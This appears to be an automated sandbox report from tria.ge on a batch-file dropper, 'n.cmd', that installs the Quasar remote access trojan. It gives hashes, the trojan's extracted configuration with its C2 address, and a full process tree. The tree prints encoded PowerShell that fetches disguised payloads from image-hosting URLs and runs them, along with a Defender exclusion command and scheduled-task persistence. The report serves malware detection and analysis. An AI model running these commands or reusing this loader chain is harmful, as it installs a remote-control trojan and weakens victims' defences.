Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
31s -
max time network
33s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
31/12/2024, 20:06
Static task
static1
Behavioral task
behavioral1
Sample
n.cmd
Resource
win7-20240903-en
Errors
General
-
Target
n.cmd
-
Size
1KB
-
MD5
fa75e849a3beb187d543d9b4ae894dcc
-
SHA1
41b1a755057677bfa617c089ba6092733155a1f0
-
SHA256
ea4b2c7dbf2be84aa81e55112e40392a7c54cfabde85d3ece594d834b3c9254d
-
SHA512
eed68bf4aba6af83620591f9cdefbe5e954f5bfbb14116015c215b306ecde7e8f9736b7e886e6ecbc0a71dda8ba2a58c7f4b5b7b6354104652715052e016f91f
Malware Config
Extracted
https://i.imghippo.com/files/CFqi5277Mc.jpg
Extracted
https://i.imghippo.com/files/mcm7321uo.jpg
Extracted
quasar
1.4.1
afafaf
194.26.192.167:2768
c1060262-cacc-4b5e-8e09-ac72d84cef52
-
encryption_key
BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055
-
install_name
OneDrive.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
OneDrive
-
subdirectory
OneDrive
Signatures
-
Quasar family
-
Quasar payload 2 IoCs
resource yara_rule behavioral2/files/0x0007000000023c95-109.dat family_quasar behavioral2/memory/2828-117-0x0000000000910000-0x0000000000C34000-memory.dmp family_quasar -
Blocklisted process makes network request 2 IoCs
flow pid Process 11 3928 powershell.exe 16 3944 powershell.exe -
pid Process 4560 powershell.exe 2452 powershell.exe 4420 powershell.exe 3112 powershell.exe 3484 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation OneDrive.exe -
Executes dropped EXE 1 IoCs
pid Process 2828 OneDrive.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies data under HKEY_USERS 15 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "157" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3904 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 4560 powershell.exe 4560 powershell.exe 3112 powershell.exe 3112 powershell.exe 2452 powershell.exe 2452 powershell.exe 1936 powershell.exe 1936 powershell.exe 3484 powershell.exe 3484 powershell.exe 3928 powershell.exe 3928 powershell.exe 4420 powershell.exe 4420 powershell.exe 3944 powershell.exe 3944 powershell.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 4560 powershell.exe Token: SeDebugPrivilege 3112 powershell.exe Token: SeDebugPrivilege 2452 powershell.exe Token: SeDebugPrivilege 1936 powershell.exe Token: SeDebugPrivilege 3484 powershell.exe Token: SeDebugPrivilege 3928 powershell.exe Token: SeDebugPrivilege 4420 powershell.exe Token: SeDebugPrivilege 3944 powershell.exe Token: SeDebugPrivilege 2828 OneDrive.exe Token: SeShutdownPrivilege 4104 shutdown.exe Token: SeRemoteShutdownPrivilege 4104 shutdown.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2828 OneDrive.exe 3120 LogonUI.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 3168 wrote to memory of 4560 3168 cmd.exe 83 PID 3168 wrote to memory of 4560 3168 cmd.exe 83 PID 3168 wrote to memory of 3112 3168 cmd.exe 84 PID 3168 wrote to memory of 3112 3168 cmd.exe 84 PID 3112 wrote to memory of 4456 3112 powershell.exe 85 PID 3112 wrote to memory of 4456 3112 powershell.exe 85 PID 4456 wrote to memory of 2452 4456 cmd.exe 87 PID 4456 wrote to memory of 2452 4456 cmd.exe 87 PID 4456 wrote to memory of 1936 4456 cmd.exe 88 PID 4456 wrote to memory of 1936 4456 cmd.exe 88 PID 1936 wrote to memory of 3484 1936 powershell.exe 89 PID 1936 wrote to memory of 3484 1936 powershell.exe 89 PID 4456 wrote to memory of 3928 4456 cmd.exe 90 PID 4456 wrote to memory of 3928 4456 cmd.exe 90 PID 3928 wrote to memory of 1956 3928 powershell.exe 91 PID 3928 wrote to memory of 1956 3928 powershell.exe 91 PID 1956 wrote to memory of 4420 1956 cmd.exe 93 PID 1956 wrote to memory of 4420 1956 cmd.exe 93 PID 1956 wrote to memory of 3944 1956 cmd.exe 94 PID 1956 wrote to memory of 3944 1956 cmd.exe 94 PID 3944 wrote to memory of 2828 3944 powershell.exe 100 PID 3944 wrote to memory of 2828 3944 powershell.exe 100 PID 2828 wrote to memory of 3904 2828 OneDrive.exe 101 PID 2828 wrote to memory of 3904 2828 OneDrive.exe 101 PID 2828 wrote to memory of 4104 2828 OneDrive.exe 105 PID 2828 wrote to memory of 4104 2828 OneDrive.exe 105 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\n.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:3168 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4560
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\n.cmd' -ArgumentList 'am_admin'"2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3112 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\n.cmd" am_admin3⤵
- Suspicious use of WriteProcessMemory
PID:4456 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2452
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3484
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAEMARgBxAGkANQAyADcANwBNAGMALgBqAHAAZwAiADsAJABwAGEAdABoAD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE8AbgBlAEQAcgBpAHYAZQAiADsAbQBrAGQAaQByACAAJABwAGEAdABoACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsADsAaQB3AHIAIAAkAHUAcgBsACAALQBPAHUAdABGAGkAbABlACAAIgAkAHAAYQB0AGgAXABiAHUAZABkAHkALgBqAHAAZwAiADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABUAGUAeAB0ACgAIgAkAHAAYQB0AGgAXABPAG4AZQBEAHIAaQB2AGUALgBjAG0AZAAiACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAGMAIAAiACQAcABhAHQAaABcAGIAdQBkAGQAeQAuAGoAcABnACIAIAAtAFIAYQB3ACkAKQApACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAHAAYQB0AGgAXABPAG4AZQBEAHIAaQB2AGUALgBjAG0AZAAiAA0ACgA=4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3928 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.cmd" "5⤵
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4420
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAG0AYwBtADcAMwAyADEAdQBvAC4AagBwAGcAIgA7ACQAcABhAHQAaAA9ACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABPAG4AZQBEAHIAaQB2AGUAIgA7AG0AawBkAGkAcgAgACQAcABhAHQAaAAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7ACQAYgA2ADQARgBpAGwAZQA9ACIAJABwAGEAdABoAFwAZgBpAGwAZQAuAGoAcABnACIAOwAkAGUAeABlAEYAaQBsAGUAPQAiACQAcABhAHQAaABcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACIAOwBpAHcAcgAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAGMAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"7⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2828 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "OneDrive" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe" /rl HIGHEST /f8⤵
- Scheduled Task/Job: Scheduled Task
PID:3904
-
-
C:\Windows\System32\shutdown.exe"C:\Windows\System32\shutdown.exe" /s /t 08⤵
- Suspicious use of AdjustPrivilegeToken
PID:4104
-
-
-
-
-
-
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa39b1055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3120
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
-
Filesize
64B
MD550a8221b93fbd2628ac460dd408a9fc1
SHA17e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA25646e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA51227dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
-
Filesize
64B
MD5446dd1cf97eaba21cf14d03aebc79f27
SHA136e4cc7367e0c7b40f4a8ace272941ea46373799
SHA256a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
SHA512a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
-
Filesize
1KB
MD5b08c623a4c3d593e0197312ee60fd80b
SHA1d758f831d82d40e2cf2b5303928840fef63c6e08
SHA2569cec0c20b0888233bb5e426f9b85d4653f8a287e42018b65dc95eb5647193c37
SHA5120a1b537b268a751eaa5873677faeefb8dad2832112cc2f5d84f24bd9b505ae51da7754acf50843ca3d70b3c33a42590e18a612558ca2f564a3dc881bf2556500
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
847B
MD5715335afe50e72cc5bd2c63805bd2add
SHA1b34f448421570f46b076ae607fc1a01f8b023165
SHA256e085efa731076a2454e9d65b733f53dc59b02fd8f57cb79197ed91deb855b2f3
SHA512701bd7ace74c2fe673670987a3bd6e6686d0fd05bbdc3377bfd4e24d38d837b49f872398d0497888258ec42decb183fb8efd3c6a3dcf2ccc6464842d636d5113
-
Filesize
3.1MB
MD5b55e5489b45595fb38bf5bb30b69717b
SHA17511ee8909e0a0c53625eef4bd6b57250e561391
SHA2564f111d05ddb93bf8e4ec906d2705740790402254ee115982d9e5aae36c3b4ffe
SHA51240a520e89579a298922595428033b7f0ae0b8bd5bd6ead29488cad9707b153998ab88c3d55316045315297d185fefaaba49ef21b392ca216ac220e75220d1ead